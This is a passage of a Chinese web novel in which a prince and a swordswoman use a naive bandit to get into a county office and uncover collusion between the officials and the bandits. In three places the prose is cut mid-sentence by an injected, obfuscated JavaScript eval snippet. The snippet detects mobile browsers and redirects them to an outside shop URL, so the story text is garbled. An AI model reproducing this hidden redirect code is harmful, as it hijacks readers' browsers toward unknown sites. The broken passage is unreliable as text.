凤岐:“你看看我们这衣裳都成什么样了,见你们大当家,怎么着也得换身干净的衣裳,我们去县城里买几件衣裳,再租个马车去你们寨子。” 大高个瞪大眼:“公子你这衣裳不够好呐,二十三哥说很值钱啊。” “这不是弄脏了吗?”凤岐看向胥璜:“怎么说,走一趟?” 胥璜明白他所说的走一趟是何意,沉默半晌后,才下了决定:“行,走!” “可是这一来一回得两日了…”大高个着急道。 “那怎么了?” 凤岐拍了拍他的肩膀,正色道:“放心,肯定不会让你挨骂,我一定会在你们老大面前替你美言几句的,要是没有你,我们压根都不知还有这样的好去处,我保证,你一定能得到重赏。” 大高个被唬的一愣一愣的:“真的吗?” “当然。” 凤岐:“一个唾沫一个钉,都并肩作战了,还不信我?” 大高个想了想,他们好像的确没有骗他的必要,便心一横,点头:“好,听你们的。” “那就走吧。” 几人走到客栈外,看着外头的烈阳,胥璜啧了声:“有匹马就好了。” 也不知道她的马现在在何处。 15.第 15 章 大半日路程实在煎熬,这一路他们一共在七户人家里喝了茶,歇了脚,临走时凤岐都给了几串钱,最后一户人家看他出手大方,主动提议用牛车送他们进城。 牛车到底比走路快些,一行人总算赶在天黑前到了青桥县。 “还好赶上了,再晚一点宵禁一到就进不去了。”农家大哥探头看了眼城门,催促道:“要关门了,快别耽搁了。” 几人道了谢,凤岐又抓了两串钱给他,农家大哥自是不愿意收,但凤岐不由分说塞给他便走了:“天快黑了,大哥快些回去吧。” 农家大哥遂只能将钱收下,目送他们的身影进了城,他才驾着牛车回去。 没走出多远,便有一道身影出现,农家大哥赶紧停下牛车,拿着那串钱给来人:“爷,人已经顺利送进城了,这是那位公子硬要给我的,您已经给过了,我不能收两份钱。” 那人没接:“公子心善,拿着吧。” 农家闻言只能收回来道:“那就谢过爷了。” “回去吧。” 农家大哥刚应下,便觉眼前人影一晃,只几息就不见了踪影,农夫愣在原地擦了擦眼睛,满脸震惊。 这是什么功夫也太了不得了。 此人如此厉害,那方才那几位…… 他见过最贵重的人就是县太爷,可他却觉得方才那几位通身的气质远非县太爷能比的,除了那个看起来像土匪的高大个。 他倒是和县太爷有着一样的威慑。 农家大哥抬头望了眼刚刚关上的城门,眉宇间隐隐带着愁容,要是能来个厉害人物把那一路的山匪收了就好了。 原本他们这一带的人靠山吃山靠水吃水,都能自给自足,可自从几年前山匪出没后,每年快到过年过节都是他们的噩梦,这附近十里八乡的没有人能逃得掉,收成好时上了供还勉强能过个节,要是收成不好,连肚子都填不饱。 农家大哥叹了口气,低头看见手里的几串钱,脸色又缓和了些。 今日也是走了大运,他正要上坡除草,突然来了个裹得严严实实的人找上他,给了他五两银子,说若是碰上一行四人来歇脚,让他用牛车送他们一程,但绝对不能告诉他们他来过。 说完人就不见了。 这种事还是头一次遇到,他纳闷之余也不敢再出门,毕竟有的钱可是不能乱收的。 他心惊担颤的在家里等着,时不时出门去望一眼,就期盼着真能出现四个人,他这钱才收的踏实。 终于,在他的翘首以盼下路上缓缓来了一行人,他打眼一瞧,正好四个,正迫不及待要去迎时却突然想起那人说的不能让他们察觉,左思右想后,他干脆搬了个板凳坐在外头,计划着等他们路过时,他再故作随意的搭一搭话。 可没想到还不等他开口,那位长得极好看的公子就朝他走来,问他可能讨碗茶喝。 他自然是赶紧应下。 一切就这么顺顺当当的,到现在他还感觉像是在梦里,这前前后后加起来快六两银子,够普通人家吃一年了。 农家大哥想到这里心情松快了许多,脚步轻快的上了牛车,在心里盘算着明儿个去买点肉,再买点猪油回来,婆娘孩子可都好久没沾过荤腥了。 对了,顺便再把刚收的小麦拉去卖了,再慢一点怕是又要进了山匪窝。 还有这些钱,他一定得嘱咐婆娘万万要藏好,绝对不能说出去,不然传到山匪耳朵里,就啥都不剩了。 - 进了城,大高个都还在心疼凤岐随手给出去的银子,难得抢一点银子,半日的功夫就给他连花带送花销出去了一大半,但毕竟不是自己的,他也不敢说什么。 但是… “这天黑了,也不知道有没有成衣铺子开着门,公子啊,你们就算买最普通的衣裳,一人一套,剩下的钱也不够吧。” 大高个忍不住提醒道:“而且今天肯定是回不去了,今晚还得找地儿住,还要吃饭。” 富贵人家的公子是真的不知柴米油盐贵。 胥璜也默默看向凤岐,她也想知道他打的什么主意。 凤岐不答反问:“你对这儿熟吗?” 大高个愣了愣,道:“来过几次,还算熟。” “行,带我们去县衙。” 凤岐语出惊人。 大高个脚步猛地一顿:“去哪?” “县衙。” 凤岐重复道。 大高个神情木讷的盯着凤岐:“你疯了吗,我们是山匪,去县衙不是自投罗网吗?” 凤岐意味深长看着他:“是你,我们可不是山匪哦。” 大高个顿时傻了眼,好在脑子也没有笨到无可救药的地步,他警惕的往后退了几步,有些愤怒道:“你是想将我扭送官府?” “我何时这么说了?”凤岐慢慢地靠近他,大高个下意识往后退,直到撞到街边的石台上退无可退,他才挺直胸膛,强行镇定:“你方才不是说了要去县衙吗?你见过哪家山匪自己往县衙跑的?” “那可不一定哦。” 凤岐意有所指道:“你没见过可不代表没有。” “什么意思?” 大高个皱眉道。 “想知道,就带我们去,走后门,报你们山寨的名字,对了,这个…”凤岐从袖子里掏出早上在客栈顺的腰牌,大高个慌忙低头看向腰间,果然早就空空如也,一边去抢一边震怒道:“你什么时候拿走的,还给我!” 可大高个空有一身蛮力,没正经学过武功,自然压不过有内力的凤岐。 “别急啊。” 凤岐道:“这个应该就是你们寨子里的信物吧?” 大高个这回聪明了,瞪着凤岐不吭声,但也没什么用。 “你想不想赚钱?” 凤岐突然道。 大高个一怔,而后气呼呼道:“我不会再被你骗了。” “我骗你什么了?” 凤岐很有耐心道:“我说了,要跟你回寨子,要让你拿到重赏,这不是还没到时间?哪里骗你了?” “那你去县衙做什么?!”大高个质问道。 “你跟我去了不就知道了。”凤岐神秘道:“我保证,只要报上你们寨子的名字,再拿出信物,他们绝对不会抓你,不仅不抓,还会好吃好喝的供着我们。” 大高个觉得他疯了:“你在发梦吗?” 胥璜听不下去了,一把抽出靴子里的匕首上前抵在大高个脖颈上,在大高个惊恐的眼神里,她冷声道:“你现在有两个选择,一,听他的跟着我们去县衙吃香的喝辣的,二,现在死。” 大高个见识过胥璜的狠绝,不敢忤逆她,可他实在想不通,吞了吞口水,壮起胆子小声道:“万一…万一去县衙我被抓起来了呢?” “你要是不信,就你去敲门,你跟他们说我们是要新加入你们寨子的,衙门的人要是要抓你,那我们也逃不掉。”凤岐温和道:“你觉得我会拿自己的命开玩笑吗,你真的不想今晚好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524688|184600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好吃一顿,再好好睡一觉,明天,我们再租辆马车轻轻松松坐着回寨子?” 一个威逼,一个利诱。 大高个的眼神渐渐清澈了。 许久后,他咬牙:“行,最后再信你一次!” 凤岐笑着将腰牌还给他,拿下胥璜的匕首:“都是自己人,要有耐心,将来可是要做同伴的,脾气别这么大嘛,快收起来,把我们…你排多少名来着?” 大高个:“…最后一名。” “我知道你是最后一名,我问你是多少。” “三十七。” 大高个没好气道。 什么毛病,杀人还诛心。 “那就是三十七哥,快把匕首收起来,别把我们三十七哥伤着了。”凤岐勾住大高个的肩膀边往前走边道。 大高个已经被那声‘三十七’哥哄的双眼冒光了,他从没想过他也能当上‘哥’了。 “三十七哥,今儿我们可就跟着你混了,三十七哥。”凤岐。 “啊,好好好…” 大高个激动的都快同手同脚了。 胥璜看了眼偷偷给他们打手势让他们跟上的凤岐,唇角扬起一个弧度。 这人的嘴,哄人可真是有一套。 胥璜拉着发愣的鹿玡追上去,就听凤岐又道:“今儿这县衙要是不给我们三十哥面子,我们就砸了它!” “好!砸了…” 大高个反应过来,惊恐道:“砸不得砸不得,县衙如何砸得?” “如何砸不得?” 凤岐反问道:“我敢肯定,如今这县衙肯定都是些孬种,软骨头,没一个能挺直腰板子的,这样的软蛋子我一个能打一百个,况且还有涂姑娘,涂姑娘能打两百个!” 胥璜唇角一抽。 这人的大话真是张口就来,以她现在这副身板,两百个兵卫,她就算没被他们杀死,也要累死。 “涂姑娘,你说对吧。” 凤岐回头看向胥璜,大高个也忙回头直愣愣看着胥璜。 胥璜还没开口,一旁的鹿玡就道:“师姐能打三百个!” 胥璜:“……” 胥璜哭笑不得摸了摸鹿玡的头,咬牙切齿道:“是,我能打三百个。” 大高个震惊的瞪大眼,而后想起什么被刀风劈碎的马车,煞有其事的点点头,看胥璜的眼神愈发敬佩。 “有涂姑娘加入,我们千手佛一定能扩充版图,大展宏图!成为天下第一寨!” “什…什么?” 凤岐皱了皱眉,眼神充满怀疑道:“你说你们寨子叫什么名字?” “千手佛啊。” 大高个也不等他们问,就噼里啪啦一通解释道:“我们大当家取的,说是我们千手佛的宗旨就是要保护方圆十里所有人的安全,只要在我们的地盘,就没人敢动他们!对于百姓,兄弟们都只收些巡逻的辛苦费,所以我们虽然是山匪,但也做了好事,所以叫千手佛。” 凤岐胥璜对视一眼。 后者沉默良久后,抬手指了指脑袋,打了个圈。 这人脑子有问题? 凤岐抬手比了比,划了一圈。 傻大个,缺根筋。 “行行行,千手佛。” 凤岐囫囵应付过去:“我们走快些,饿得很了,到了县衙,让他们上二十个菜。” “嗯,要一份猪肘子。” “三十七哥想要的肯定得有。” “好!得有!” 16.第 16 章 约摸走了两刻钟,大高个停在了县衙门口,道:“这就是青桥县衙了,怎么说,打进去?” 凤岐:“……” 方才跟他说的,他是一点也没记住啊。 “信物,千手佛。” 大高个想起来了,深吸一口气,扛着他那把大刀就往县衙门口冲,凤岐一把将他拽回来,笑着咬紧牙:“你虎吗,谁家接头大摇大摆去县衙大门口的?” 大高个:“啊?那去哪?” 凤岐:“……走侧门啊!这种事不都是偷偷来的吗?” 大高个恍然大悟:“那你早说嘛。” 凤岐捏紧拳头,要不是还用得上他,真想一拳给他砸晕。 一行人抹黑到了侧门,大高个上前就要敲门,又被凤岐拽住:“你们寨子,有没有什么敲门的暗号?” “还有,你叫什么名字?” 大高个停住动作,道:“进了寨子没有名字,我就叫三十七。” “敲门的暗号嘛…的确有。” “等等。” 凤岐再次拉住他,神色凝重道:“你记住了,我是三十八,她是三十九,这个小姑娘是四十,会医也会擅毒,其他的所有人问,你只需闭上你的嘴,高深莫测的笑一笑,不必多说,总之,我们是刚加入千手佛的人,听明白了吗?” “要是出了什么岔子,我们都得死!” 大高个,也就是三十七闻言郑重点头:“记住了。” 凤岐这才松开他。 三十七刚抬手要敲门,又转头问:“没事了吧,能敲了吧。” 凤岐:“…能!” 三十七这才放心的敲响了门,一短一长三短一长。 敲完门,三十七有些紧张的捏紧腰牌。 “要是等会儿打起来记得捞我。” 凤岐冷哼:“放心,按我说的做,打不起来。” 胥璜不动声色的瞥了他一眼。 歇了七次脚,讨了七次水喝,他就如此有把握了,确实有些脑子。 很快,门轻轻的拉开一个缝儿。 “阁下何人?” 三十七转头看了眼凤岐,见凤岐轻点了点头,他才将腰牌递出:“千手佛,三十七。” 他说这话时紧张的腿都快打颤了,也不知道这风公子葫芦里卖的到底是什么药,竟然让他一个山匪来县衙蹭吃喝,要他说,吃牢饭还差不多。 但很快,门里就伸出一只手接了腰牌。 三十七瞪大眼,还真接了?! 里头的人确认了腰牌的真假后,又探头看了眼三十七,上下打量后目光落在他的大刀上,这才将门打开,将信物递还给他。 “请进。” 请进? 县衙的人对一个山匪说,请进? 三十七仿若在做梦,一时间竟不知道先迈哪只脚好,还是凤岐上前搭着他的肩膀,道:“三十七哥,走吧。” “哦,哦。” 三十七这才回过神,随着他一起进了门,凤岐在他耳边压低声音:“自然点,当自己家。” 三十七神色复杂的望着凤岐。 山匪把自己当做家,他可真是厉害啊。 “这边请。” 门房领着几人没有多远,就有人迎了上来,门房恭敬道:“韦主簿。” 韦主簿摆摆手:“你去吧。” “是。” “几位,这边请。” 韦主簿边领着几人往里走,边试探道:“几位瞧着面生啊。” 三十七想也没想道:“我县城来的少。” “这样啊。” 韦主簿看了眼其他三人,尤其是看到胥璜和鹿玡时,脸上难掩一丝惊讶:“千手佛何时收女子了?” “还没……” 凤岐打断三十七:“原本是不收的,只是我家中败落,带着夫人与师妹被扫地出门,也不知道要做什么,毕竟平时养尊处优的,也干不了什么下人做的活,幸好自小学了些功夫,夫人与师妹也曾拜师学武,这不刚好赶上千手佛纳新,管吃管喝还发月钱,只需要当个打手唬唬人就行,这不巧了吗,家中未败落前家中下人成群,我们早就使唤震慑习惯了,这点活,不手到擒来?” “哦是这样啊……” “再说了,韦主簿可不要看不起女子,我夫人轻功比我都好呢,打架也很厉害,昨儿个才干了一票,抢了那个眯眯眼小富商。” “啊?竟将他抢了……” “至于师妹嘛,你猜她那个袋子里装的是什么?”韦主簿几次想插嘴都没能成功,总算找到了话口,看了眼鹿玡的袋子,问:“是什么?” 凤岐嘶了声:“蛇,毒蛇。” 韦主簿惊恐的瞪大眼。 “咬一口就没命的那种毒蛇。” 凤岐补充道。 韦主簿赶紧往旁边挪了几步,离鹿玡远了些,凤岐这时道:“韦主簿无需害怕,我们不伤自己人。” 韦主簿也意识到自己反应过大,干笑了声:“好,好好好。” “不知道几位这次来是?” “来吃……” “哈哈哈…”凤岐捏了捏三十七的肩,大笑了几声:“今儿下山运气好,干了一票后,又沿路去看了几家的收成,主簿懂的,这小麦啊玉米什么的都在丰收了嘛,主要是刚来嘛,想顺便找些跑腿费,进城来添几件衣裳。” 韦主簿会意:“明白,明白。” “那你们是……” “可不巧的是耽搁的太晚了,进了城天都黑了。”凤岐看了眼三十七肩上的大刀还有他手上的腰牌道:“但我们总不能这样入住客栈给县衙添麻烦不是?” 韦主簿顺着他的视线瞟了眼三十七。 百姓对千手佛深恶痛绝,怨声载道,这种时候若他们大摇大摆来县城住客栈,肯定会众说纷纭,引来无端猜测。 “放心,我们过来保证没人看到。” “明白了。” 韦主簿笑着道:“我这就为各位准备房间,想来各位肯定还没吃饭吧,我这就叫人去做,送到……” 凤岐道:“送到三十七哥房里,劳烦了。” 说完他靠近韦主簿低声道:“主簿放心,下个月送来的只多不少。” 韦主簿眉眼一弯,态度更热切几分:“好好好,一家人不说两家话,多点少点又如何呢?只要大人和大当家高兴,我们底下人也才活的痛快啊。” “是,韦主簿所言有理。” “各位这边请。” 韦主簿客气将几人陆续送进了房间,三十七和鹿玡一人一间,凤岐胥璜‘夫妻’住一间。 胥璜进去后,韦主簿又和凤岐寒暄了会儿,直到丫鬟送茶进来,他才道: “你们先歇会儿,饭菜很快就来。” “有劳韦主簿了。” 凤岐将人送出门外,小声道:“等寻哪日有稀罕物件儿,定给韦兄送来。” 韦主簿乐的合不拢嘴。 “三十八弟有心了,有心了,老哥就先提前致谢了。” “欸,我们谁跟谁,一家人不说两家话。” 凤岐道:“等会儿一起吃点,喝两杯啊?” 韦主簿有些为难道:“今儿大人设宴,我不好离开太久,等晚些时候我再过来跟三十八弟喝一杯。” “好说好说,主簿先忙去吧。” 凤岐目送韦主簿走远,才折身回了屋。 刚进屋,一个瓷杯就迎面飞来,他忙侧头伸手接住,看向靠在桌子旁的胥璜:“这么凶作甚?” “夫人?” 胥璜一手把着另一只杯子,冷冷道。 凤岐关上门,慢慢走近她。 “这是最可信的方法,千手佛轻易不收女子。” 胥璜冷哼了声。 凤昭就是麻烦! 凤岐倒了杯茶,放到胥璜面前:“权宜之计,喝杯茶消消气,若你还是气不过,打我一顿,我不还手。” 胥璜端起茶缓缓饮了几口,又放下。 小小县衙,竟有如此好茶! “那你就是不介意…啊…” 凤岐见胥璜没开口,以为她是消了气,可话还没说完,胥璜就一巴掌连拍带推打在他后脑上,只把他打的往前窜了两步。 “你!” 胥璜淡淡道:“你说的,不还手。” 凤岐脑袋嗡嗡响了会儿,才缓过神,紧咬住牙:“行!” 他长这么大,除了他老子还没人敢这么打过他!但该说不说,这力道真和他老子差不多。 “打也打了,消气了?” 凤岐揉了揉后脖子道。 胥璜白他一眼,扯了张凳子坐下,才道:“都查到什么了?” “查的差不多了。”凤岐坐在胥璜对面,给自己倒了杯茶,饮了口,而后眉头一皱,低头看了眼茶汤。 “这茶…” “很好喝。” 胥璜道:“边境可没有这样的好东西。” 凤岐眯了眯眼。 “这是去年的贡茶。” 胥璜一愣,抬眸看向他:“你怎么知道?” “我在玉京,自然有机会尝过这些东西。”凤岐放下茶杯,慢慢在手心转着,似笑非笑:“没想到这青桥县衙竟有贡茶。” 胥璜挑眉:“我听过一句话,偏居一偶的县令,就是土皇帝。” 凤岐冷哼:“那就看他坐不坐得稳这土皇帝了。” “你到底问道了什么,怎么确定官匪勾结的?”胥璜正色道。 凤岐这才将了解到的告诉胥璜。 那片山地处锦西城与桐丘城的边界,早些时候刚有山匪出没时,两边联合出兵镇压过,也确实消停了一段时期后,可没过多久山寨却越来越大,两边你推我我推你,责任划分不够明确,便始终没有再出兵剿匪。 百姓们叫苦不迭,诉苦无门,只能强忍受着山匪的欺压,去年一次闹的狠了,百姓联名上书请县衙剿匪,县令当场就抹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524689|184600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪,说并不是他不想剿匪,而是实在打不过,但为了百姓们的安危,他愿意派兵冒险一试。 结果可想而知,死了五个衙役,县令痛哭流涕,后悔不已,给了家属一笔丰厚的安葬费,从那以后,再也不敢再管了。 百姓们从此也就过上了暗无天日的日子。 凤岐能发现端倪是因为,他从其中一户人家口中得知,山匪每过一段时日就会乔装进城,还有衙门的兵卫每过一些时日也会路过一趟,通常是早上过去,次日回来。 距离青桥最近的县衙单程都要两日,从这么短的行程,还有山匪越来越猖獗的情况来看,凤岐心里大概有了猜测。 所以,他打消了报官的念头,带着三十七上门试探。 胥璜皱眉:“那万一是你猜错了,我们不是都要被困在这儿。” 凤岐耸耸肩:“那也没办法了,只能说船到桥头自然直,就赌一赌嘛。” 胥璜:“……” “别这么看着我,换你,你赌不赌?或许你有什么更好的剿匪办法?” 胥璜沉默片刻,没否认。 换成她,她也会这么做。 “那你之后怎么打算?” 凤岐又饮了口茶,闭了闭眼,喟叹道:“好茶,接下来,吃一顿睡一觉,明天的事明天再说。” 胥璜正要开口,凤岐便道:“今日早些睡,明天还需要你帮忙。” 胥璜:“拼命的事我不干。” “不至于。” 凤岐:“只是需要你搭把手……” 凤岐话音突然一顿,猛地靠近胥璜,胥璜吓了一跳,下意识出手攻去,却被凤岐一把抓住,朝窗边示意。 胥璜皱了皱眉。 派了人监视,韦主簿没尽信他们。 “夫人,今儿打架手疼不疼啊,我看看,哎哟,我就说让我来嘛,夫人非要自己上。” 凤岐心疼道:“不过夫人真厉害,那么大辆马车,仅用刀风就撕碎了,夫人的内力不容小觑啊。” 胥璜:“……” 这人演戏真是信手拈来。 胥璜深吸一口气,行!他要演,她陪他演! “疼~” 胥璜皱着眉,声音比平日娇气了许多:“要夫君吹吹才好呢。” 她这一声‘夫君’叫的凤岐身子一抖,只觉浑身汗毛都竖起来了。 但外头人还没走,只能硬着头皮演下去。 “好,给夫人吹吹,等再干几票,我就去给夫人打一把称手的剑。”凤岐边说边朝着胥璜的手吹了口凉气。 胥璜感觉后背都凉了。 她下意识想将手抽回来,可却被凤岐握的紧紧的:“以前在家里,夫人何时有过这么多路,受过这么多苦。” “我已经想好了,这个月争取多杀几个人,下个月排名就能往上提一提,到时候用挣的钱给夫人买辆马车,以后轮到我们下山打劫时,就乘坐马车来,咱就算落草为寇,也不能受什么罪。”凤岐的语气温柔至极。 不知道的光听着只觉得是用情至深,感人肺腑。 知道的…… 胥璜恨不得一脚把他踹开! 顶着这样一张完美无缺隐隐带着带着几分神性的脸,如此油腔滑调,简直是暴殄天物,令人愤慨。 要不回头问鹿玡要一瓶哑药,给他毒哑几日。 但眼下,绝不能输! 胥璜一把捏在凤岐手臂上,柔声道:“夫君对我最好啦~最是知道心疼人家~人家不仅要马车,还要以前那样漂亮的衣裳,首饰,最好再买几个丫头贴身伺候人家~” 凤岐疼的眼泪直冒,一把摁在胥璜手背上:“好,都听夫人的夫人要什么我就买什么,夫人放心,以我们的能力,最多两个月就能入前十。” “好~” 胥璜眼中泪光闪烁:“那夫君可要努力哦~” 她瞥了眼窗外,暗道人怎么还不走,她眼眸一转,娇声道:“哎呀,夫君莫急嘛,等用了晚饭再来……呀,夫君~你弄疼人家啦……’ 窗外的人总算走了,胥璜深吸一口气,一把推开凤岐,正想骂他几句,却见他脸颊泛着可疑的红晕,惊愕且带着几分怒意的盯着她。 胥璜慢慢反应了过来,笑着凑近他:“害羞了?” “你……” 凤岐忙退后一步,掩饰住脸上的不自然,道:“你倒是挺有经验。” 胥璜托腮好整以暇的盯着他道:“我不是说了嘛,在欢乐窝里泡大的,自然是懂些的。” “怎么,风公子没去过那种地方啊?” 凤岐胜负欲立刻就上来了,抬起下巴:“怎么没去过,我也是在欢乐窝里泡大的。” “那你方才怎么还害羞了?” 凤岐冷哼:“你看错了。” “好了,去三十七那屋,免得一不看着坏了事。” 胥璜看着那道逃也似的背影,轻笑了笑。 表面上油腔滑调,原来是个纸老虎啊。 17.第 17 章 前院。 青桥县令正饮酒听曲欣赏着新来的舞姬,突有下人来报,千手佛下来人了。 王县令皱了皱眉,这还没到上供的时候,来人作甚,莫非是捅了什么篓子? 王县令朝韦主簿示意:“去看看。” 韦主簿颔首应是,快步而去,没过多久便回来了,同王县令耳语道:“不是要事,就是不方便去客栈,来睡一晚,顺便打秋风的。” 王县令挑眉:“哟,稀奇。” 还来县衙打上秋风了。 “来的什么人?” “是新来的。” 韦主簿简单将情况说明,王县令神情略有些古怪:“还有女子?” “是,不过大人放心,下官已经让人去盯着了。”韦主簿道。 没多久,便有人过来禀报。 韦主簿干脆将他叫过来,直接向王县令禀报。 “二人确实是夫妻,在里头腻腻歪歪了许久,要不是没吃饭,只怕都滚床上去了。” 韦主簿与王县令对视一眼,韦主簿禀退了下人,道:“大人,您看…” “进都进来了,也不好把人赶出去,让他们住一晚,明日一早就送走,告诉他们下不为例,要不然以后谁都来县衙借宿,把县衙当成什么地方了?” “是,下官明白。” 这头,胥璜先去叫了鹿玡,才一起往三十七的房间而去。 三十七在房间里坐立难安,见他们过来,忙冲过来道:“这是怎么回事?县衙的人怎么会对我们这么客气,还有你怎么和韦主簿那般自来熟?” 凤岐被他一个又一个问题砸的不耐烦,简单直接给他四个字:“官匪勾结。” “啊?”三十七惊愕的张大嘴:“官匪……” “闭嘴!” 凤岐一脚踢过去,止住他粗狂的嗓门:“官匪勾结很光彩吗,你再喊大点声呢?” 三十七强行将话咽回去,压着嗓子道:“真的假的,怎么会呢,这么重要的事我怎么不知道?” “这个问题还不简单?” 胥璜朝鹿玡道:“小芽儿你告诉他。” 鹿玡眨眨眼,直截了当:“说明你不重要。” 三十七神情顿时黯淡了下来。 他泄力般坐在凳子上,粗声嘟囔道:“我知道。” “寨子里兄弟们当值都不愿意和我组队,今日二十三哥愿意和我组队,也是让我答应功劳要都给他,我只要最小的那份。” 坐在那里都很大一坨的人,露出这种可怜兮兮,窝窝囊囊的样子,着实有些违和。 胥璜遂道:“他们为何都不跟你组队?” 三十七不说话。 胥璜想起什么,猜测道:“哦,明白了,因为你不敢杀人。” 三十七想反驳,但还是咽了回去。 这就是默认了。 胥璜笑了笑:“挺好。” “这还挺好!” 三十七皱着眉道:“哪有山匪不敢杀人的?” “你不就是吗?” 凤岐道:“不过我倒想问问,你是怎么当上山匪的?” 三十七嘟囔道:“吃不起饭呗。” “去年年底家乡闹灾,死了很多人,等不到赈灾粮只有饿死,我们村的人便往外逃,可是最后这一路上活下来的只有我,我父亲母亲妹妹都死在了逃荒途中。” 凤岐脸色微沉:“你说的可是去年年底桐丘雪灾?” “对啊,你知道?” 凤岐当然知道。 他虽游手好闲不问朝政,但并不代表对这些一无所知,他记得朝廷明明下放了一万两黄金的赈灾银,只要按数发下去,不可能不够? 看来,多半是哪个地方或者多个地方中饱私囊了。 “我原本很胖,现在瘦了几十斤了。” 胥璜正同情他的遭遇,听他这么说,上下打量了他一眼,这体型,少说也得八十公斤,这还瘦了几十斤,这人以前得胖成什么样。 “后来你是怎么到了千手佛的?”凤岐。 三十七:“爹娘临死前跟我说,往前走,走出灾区就有救了,我就一直一直走,走到实在走不动了,就倒下了。” “恰好那天五哥当值,见我身形高大,觉得我适合做山匪,就把我捡回去了。” “我醒来发现是山匪窝原本想要走的,可是五哥跟我说,我走了就注定活不成了,当山匪又如何,只要能填饱肚子,能活下去,有何不可?我觉得五哥说的有道理,加上爹娘临终前留下遗言,让我一定要活下去,我就同意了。” “但我来了半年还是不敢杀人,打架也不行,其他人就不想和我组队了,五哥但凡遇到大鱼就会把我带上,我就这样靠着这一点点功劳混到了现在。” 胥璜凤岐听完,心头冒出同一个念头。 这人比他/她还能混呢。 不过也幸好如此,如今他才有一条活路。 凤岐再懒散好歹也是个太子,在京中管事的人多,不必他插手,可在这里,官匪勾结,百姓叫天天不灵,叫地地不应,若他再袖手旁观,别说太子,连个吉祥物都不配当了。 他可以贪图享乐,但不能无视百姓疾苦。 这窝山匪他是剿定了的! 正在这时饭菜送来了,几人停止了交谈,一言不发的用完饭,出门前,凤岐朝三十七道:“记住,只要听我的话,你会有重赏,会活的好好的。” 三十七似懂非懂的点点头。 鹿玡停在房门口,小声道:“师姐今晚真要和风公子住一个屋吗?” 这里与药庐不同,房里只有一张床。 “你先睡。” 胥璜轻声道。 鹿玡点头,乖乖进了屋。 胥璜跟着凤岐进屋,反手关上了门。 “外头还有人盯着。” 凤岐也发现了。 两人面面相觑半晌,同时看向床榻。 再是江湖儿女不拘小节,权宜之计,他们也不能同床共枕一夜。 主要是怕半夜忍不住起来把对方打一顿。 如此,那就一个办法了。 “你睡地上。” 胥璜趁凤岐还没有反应过来,快步冲向床榻,凤岐下意识追过去:“凭什么…喂,你不讲武德,你下来。” 但还是慢了一步。 胥璜抱了床被子扔给他。 “你先将就睡着,我等人走了就去鹿玡房里。” 如此,凤岐还能怎么说,只能抱着被子不甘不愿的认了。 “行!” 一天舟车劳顿,二人早就困意涌现,且都有个优点,不认床,沾床即睡。 就在胥璜要睡着时,原本睡在地上的凤岐突然抱着被子跃到了床上,胥璜一惊,睁开眼:“你干什…” “有人。” 凤岐本来也要睡着了,但恰好窗户在他头顶边,他听吱呀声传来便迅速跃到了床上。 胥璜困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524690|184600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不行了,伸手落下蚊帐:“我先睡,你随意。” 凤岐坐在床上犹豫了只两息,就抱着被子倒下了。 随意就随意。 胥璜做了一个梦,梦里她被人追杀,可是她怎么也跑不动,总感觉有什么东西压在她腿上,直到她醒来,才明白那不是感觉。 凤岐抱着被子睡的四仰八叉,一脚在床沿,一脚压在她腿上。 胥璜愣住了。 他们是怎么睡一起的? 哦,是他说有人监视。 胥璜转头看过去,那张完美无缺的脸仿佛在眼前被放大,闭上眼时,瞧不出平时的慵懒,嘴贱,吊儿郎当,安静地仿若一副睡美人图。 但突然,睡美人睁开了眼。 胥璜的眼神立刻就变了,笑意不达眼底:“醒了?” 凤岐还没来得及作何反应,胥璜就已经蓄好力一脚将人踢下了床。 睡美人具有欣赏价值。 睁开眼睛的风栖梧没有。 凤岐脑袋还一片混沌时就被一脚踢下床,立刻就清醒了。 他狠狠瞪向坐起身的胥璜:“你有病啊踢我干什么?” 胥璜晃了晃被压的发麻的腿,冷笑:“压在我腿上睡了一夜,我没将你腿砍了就已经是对你最大的宽容了。” 凤岐一怔,下意识朝胥璜的腿看去。 胥璜正用手揉着发麻的一条腿,以至于能清楚的看见完修长笔直的腿型,玉足轻轻点在床榻上,裤腿微微往上拢了些,露出小半截脚踝,白玉无瑕,勾魂夺魄。 凤岐意识到什么,慌忙挪开视线。 “我…对对不住。” 过了会儿,等平复好心中的某种异样,他才接着道:“是这样的,我有段时间很忙,忙到没有时间睡觉,所以现在我沾枕即眠,且睡得很沉,我不是有意的,抱歉。” 胥璜闻言转头:“很忙?” “你不是说你泡在欢乐窝里长大吗?忙什么?” “那总不是每时每刻都泡着,总有忙的时候。”凤岐边起身边穿鞋袜,收拾好后就立在旁边等着,没敢再回头。 直到胥璜从他身侧走过,他才跟上去,道:“吃了午饭,按计划行事。” 